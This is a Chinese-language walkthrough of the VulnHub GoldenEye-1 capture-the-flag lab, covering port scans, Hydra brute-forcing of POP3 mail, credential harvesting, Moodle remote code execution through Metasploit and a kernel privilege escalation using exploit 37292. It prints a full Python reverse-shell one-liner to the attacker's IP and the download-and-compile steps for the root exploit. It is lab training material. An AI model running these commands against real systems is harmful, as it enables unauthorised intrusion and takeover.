靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/

靶机难度:中等(CTF)

目标:得到root权限&找到flag.txt

信息收集

  1. 收集目标ip

  2. nmap扫描到两个端口

  3. 尝试访问80端口

    • 显示的文本提示了一条线索,它说进入到/sev-home/目录中。

    • User: UNKNOWN

      Naviagate to /sev-home/ to login

      需要登录,开始枚举查找用户名密码信息!

    • 查看其页面源代码发现一个terminal.js文件

      • 发现提示
    • 密码信息

      //I encoded you p@ssword below...
      //
      //InvincibleHack3r
  • 用户名信息

    阅读提示可以猜测用户名和密码可能为:Boris或Natalya

渗透过程

获得用户名和密码:

  1. 通过密码信息的收集发现这种编码是unicode的一种编码

  2. 猜测用户名为boris成功

step2

  1. 登录成功后获取到又一重要信息

  2. POP3是一种发邮件的服务帮助中心_常见问题 (163.com)

  3. 继续对ip地址进行端口扫描查看pop3服务

    nmap -p- 192.168.177.129//全端口扫描

  4. nmap详细扫描上述55006,55007端口

    nmap -p-55006,55007 192.168.177.129 -sS -sV -T5 -A
  5. 验证了收集到的信息

6.通过Hydra暴力破解pop3服务

  • Hydra密码爆破工具使用教程图文教程(超详细)_hydra使用教程-CSDN博客

  • echo -e 'natalya\nboris' > dayu.txt   ---将两个用户名写入txt文本中
  • hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3
    #/usr/share/wordlists/fasttrack.txt 是一个常见的字典文件,通常被用于密码破解、渗透测试和安全审计。这个文件包含了许多常见的用户名、密码、常用短语和其他可能用于攻击的字符串列表。这些列表可以被安全专业人员用于测试系统的安全性,确认系统是否容易受到常见的口令攻击。
  • 经过2~5分钟等待,获得两组账号密码

    用户:boris 密码:secret1!

    用户:natalya 密码:bird

  1. 通过NC登录pop3查看邮件信封内容枚举
  2. 查看boris的
    • nc 192.168.177.129 55007 ---登录邮箱

      user boris ---登录用户

      pass secret1! ---登录密码

      list ---查看邮件数量

      retr 1~3 ---查看邮件内容

读到的信息

  1. 查看natalya的

    • nc 192.168.177.129 55007 ---登录邮箱

      user natalya ---登录用户

      pass bird ---登录密码

      list ---查看邮件数量

      retr 1~3 ---查看邮件内容

    • 读到的信息

      在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:

      用户名:xenia

      密码:RCP90rulez!

      域:severnaya-station.com

      网址:severnaya-station.com/gnocertdir

      我们现根据邮件提示添加本地域名:severnaya-station.com

  2. 设置本地HOSTS文件

    gedit /etc/hosts

    192.168.177.129 severnaya-station.com

step3

  1. 访问severnaya-station.com/gnocertdir

  2. 刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。

    是的,Moodle 是一种开源的学习管理系统(LMS),而不是一种内容管理系统(CMS)。Moodle 主要用于创建在线学习平台,提供了丰富的教学和学习工具,包括课程管理、在线测验、资源分享、讨论论坛等功能。Moodle 的开源性质意味着用户可以免费获取、使用和定制它,同时还可以根据自己的需求扩展功能。

    内容管理系统(CMS)通常用于创建和管理网站内容,例如WordPress、Joomla 和Drupal,而学习管理系统(LMS)则专注于教育和培训范畴。Moodle 在教育领域非常受欢迎,许多学校、大学和培训机构都使用它来提供在线学习服务。

    whatweb severnaya-station.com/gnocertdir ---指纹搜索也行

  3. 登录后,Home / My profile / Messages --->发现有一封邮件,内容发现用户名doak收集到又一有用的信息

  4. 又尝试用九头蛇爆破email username = doak的密码

  5. echo doak > dayu.txt   ---将用户名写入txt文本中
    hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3
    #或者直接爆破doak这一个
    hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3
  6. 成功获得密码[pop3] host: 192.168.177.129 login: doak password: goat

  7. 登录doak用户枚举邮件信息

    nc 192.168.177.129 55007 ---登录邮箱

    user doak ---登录用户

    pass goat ---登录密码

    list ---查看邮件数量

    retr 1 ---查看邮件内容

step4

  1. 据上诉邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。

    用户名:dr_doak

    密码:4England!

  2. 登录后发现

  3. Something juicy is located here: /dir007key/for-007.jpg

    现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。

    访问页面:severnaya-station.com/dir007key/for-007.jpg

    下载到本地:

    wget http://severnaya-station.com/dir007key/for-007.jpg

    根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:

    binwalk(路由逆向分析工具)

    exiftool(图虫)

    strings(识别动态库版本指令)

    等查看jpg文件底层内容!

    exiftool for-007.jpg

    strings for-007.jpg

    用以上命令都可以查看到base64编码隐藏信息:eFdpbnRlcjE5OTV4IQ==

  1. 对上述base64编码隐藏信息解码得到:xWinter1995x!
  2. 又由2知道用户为admin,由此可以登录
  3. 成功用admin用户登录站点

step5

  1. 进去内容太多了,花了很多时间查看,图片红框显示和我前面使用dr_doak用户登陆邮箱发现的结果一致。

    这是Moodle使用的2.2.3版本,搜索了网上的可用漏洞。

  2. google搜索:Moodle 2.2.3 exp poc

  3. Moodle 2.2.3 exp cve --> CVE-2013-3630 漏洞可利用! 29324

  4. 此版本有许多漏洞利用,由于我们需要在目标计算机上进行外壳访问,因此我选择使用远程代码执行(RCE)漏洞利用。

    使用我们的神器:MSF

    msfconsole                        ---进入MSF框架攻击界面
    search moodle ---查找 moodle类型 攻击的模块
    use 1 ---调用0 exploit/multi/http/moodle_cmd_exec调用攻击脚本
    set username admin ---设置用户名:admin
    set password xWinter1995x! ---设置密码:xWinter1995x!
    set rhost severnaya-station.com ---设置:rhosts severnaya-station.com
    set targeturi /gnocertdir ---设置目录: /gnocertdir
    set payload cmd/unix/reverse ---设置payload:cmd/unix/reverse
    set lhost 192.168.177.128 ---设置:lhost 192.168.4.231(需要本地IP)
    exploit ----执行命令

  5. 当我们执行后发现无法成功,是因为对方需要修改执行PSpellShell

    https://www.exploit-db.com/exploits/29324

    's_editor_tinymce_spellengine' => 'PSpellShell',

  1. 成功,但交互shell不正常,有装python

  2. 执行tty,因为获得的权限无框架:执行

    python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty

  3. 本地监听,用python反弹shell

    • nc -lvp 6666
    #python反弹shell
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.177.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  4. 成功建立连接,但依然是不正常的shell

  • python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty
  1. 内核提权

    uname -a 查看权限!

step6提权获取flag

  1. 谷歌搜索:Linux ubuntu 3.13.0-32 exploit

获得exp版本:37292

CVE(CAN) ID: CVE-2015-1328

overlayfs文件系统是一种叠合式文件系统,实现了在底层文件系统上叠加另一个文件系统。Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux内核在更早的版本就已加入该支持。

Ubuntu Linux内核的overlayfs文件系统实现中存在一个权限检查漏洞,本地普通用户可以获取管理员权限。此漏洞影响所有目前官方支持的Ubuntu Linux版本,目前已经发布攻击代码,建议受影响用户尽快进行升级。

此漏洞源于overlayfs文件系统在上层文件系统目录中创建新文件时没有正确检查文件权限。它只检查了被修改文件的属主是否有权限在上层文件系统目录写入,导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时,文件属性也随同拷贝过去。如果Linux内核设置了CONFIG_USER_NS=y和FS_USERNS_MOUNT标志,将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统。本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限。

  1. 当前靶机下没有gcc,只有cc

  2. kali搜索下:

    searchsploit 37292 ---搜索kali本地的exp库中37292攻击脚本信息

    cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/Desktop ---目录自行修改

  3. 这个靶场在枚举信息知道:

    无法进行GCC编译,需要改下脚本为cc

    gedit 37292.c ---文本打开

    第143行将gcc改为cc ---编写下

  4. 然后在本机本目录下开启http服务:python -m http.server 8081

  5. 靶机上执行

    cd /tmp

    wget http://192.168.177.128:8081/37292.c ---wget下载http服务下的文件

  6. 成功下载后执行cc编译:

    cc -o exp 37292.c ---C语言的CC代码编译点c文件

    chmod +x exp ---编译成可执行文件,并赋权

    ./exp ---点杠执行

    id ---查看目前权限

    cat /root/.flag.txt ---读取root下的flag信息

    568628e0d993b1973adc718237da6e93

渗透项目1-GoldenEye的更多相关文章

  1. 【原创】项目一GoldenEye

    实战流程 1,通过nmap查找本段IP中存活的机器 ┌──(root㉿whoami)-[/home/whoami/Desktop] └─# nmap -sP 192.168.186.0/24 排查网关 ...

  2. Python:渗透测试开源项目

    Python:渗透测试开源项目[源码值得精读] sql注入工具:sqlmap DNS安全监测:DNSRecon 暴力破解测试工具:patator XSS漏洞利用工具:XSSer Web服务器压力测试工 ...

  3. 渗透测试的理论部分4——开放式Web应用程序安全项目

    开放式Web应用程序安全项目(Open Web Application Security Project OWASP) 定期退出Top 10 project(排名前十的安全隐患防守规则) 公开了编写安 ...

  4. Python:渗透测试开源项目【源码值得精读】

    sql注入工具:sqlmap DNS安全监测:DNSRecon 暴力破解测试工具:patator XSS漏洞利用工具:XSSer Web服务器压力测试工具:HULK SSL安全扫描器:SSLyze 网 ...

  5. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  6. fir.im Weekly - 从零开始创建 Android 新项目

    今年的 Google I/O 大会上,人工智能和虚拟现实的产品发布让我们对未来多了几分惊喜.对于开发者部分,Google 发布了 Android N 系统,感受最深的是全新的 Android Stud ...

  7. Kali Linux渗透基础知识整理(三):漏洞利用

    漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透.网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的.顾名思义,利用漏洞,达到攻击的目的. Metasploit Framework rdeskt ...

  8. JAVA上百实例源码以及开源项目

    简介 笔者当初为了学习JAVA,收集了很多经典源码,源码难易程度分为初级.中级.高级等,详情看源码列表,需要的可以直接下载! 这些源码反映了那时那景笔者对未来的盲目,对代码的热情.执着,对IT的憧憬. ...

  9. GitHub上史上最全的Android开源项目分类汇总 (转)

    GitHub上史上最全的Android开源项目分类汇总 标签: github android 开源 | 发表时间:2014-11-23 23:00 | 作者:u013149325 分享到: 出处:ht ...

  10. KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础

    原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...

随机推荐

  1. Springboot+Vue+ElementUI实现的宿舍管理系统

    项目说明 doman是一个基于Springboot+Vue实现的前后端分离的宿舍管理系统.项目为本人亲手打造,需要的朋友可以拿去做个修改也是不错的.大神请忽略:) 项目功能 详细请看功能演示: Spr ...

  2. java.lang.System快速指南

    1.介绍 在本教程中,我们将快速了解java.lang.System类及其特性和核心功能. 2.IO 系统类是java.lang的一部分,它的一个主要特性是让我们能够访问标准的I/O流. 简单地说,它 ...

  3. Java Socket编程系列(一)开发一次性会话的Server和Client

    关于什么是Socket: A socket is one end-point of a two-way communication link between two programs running ...

  4. 解决Oracle创建空间索引报错ORA-29855,ORA-13249,ORA-29400,ORA-01426

    问题描述 公司这边用了Oracle Spatial来存储GIS数据信息,今天在某表上创建空间索引时报了下面的错: 此处举例说明: 假如有表TEST,其中有一列SHAPE存储维度信息. CREATE I ...

  5. 3分钟总览微软TPL并行编程库

    有小伙伴问我每天忽悠的TPL是什么?☹️ 这次站位高一点,严肃讲一讲. 引言 俗话说,不想开飞机的程序员不是一名好爸爸:作为微软技术栈的老鸟,一直将代码整洁之道奉为经典, 优秀的程序员将优雅.高性能的 ...

  6. win32 - wsprintfW的使用

    文档:将格式化的数据写入指定的缓冲区.根据格式字符串中相应的格式说明,将转换任何参数并将其复制到输出缓冲区.该函数在其写入的字符后附加一个终止空字符,但返回值的字符计数中不包含终止空字符. 例子: # ...

  7. Elasticsearch系列之-linux.docker安装和基础操作及在Django中集成

    elasticsearch Elasticsearch是一个基于Lucene的搜索服务器,也是属于NoSQL阵营的数据库.它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口提供 ...

  8. 基于Ant Design设计语言的WinForm UI界面库

    前言 经常在技术群里看到有小伙伴提问:WinForm有什么好看.开源的UI库推荐的吗?,今天大姚给大家分享一款基于Ant Design(使用Ant Design 5.0)设计语言.开源(Apache ...

  9. Java -----多线程 创建线程的方式三: 实现Callable接口----JDK 5.0 新增

    1 package bytezero.thread2; 2 3 import java.util.concurrent.Callable; 4 import java.util.concurrent. ...

  10. 1、mysql-索引简介

    1.1 MySQL官方对索引的定义为: 索引(index)是帮助MySQL高效获取数据的数据结构(有序).在数据之外,数据库系统还维护者满足特定查找算法的数据结构,这些数据结构以某种方式引用(指向)数 ...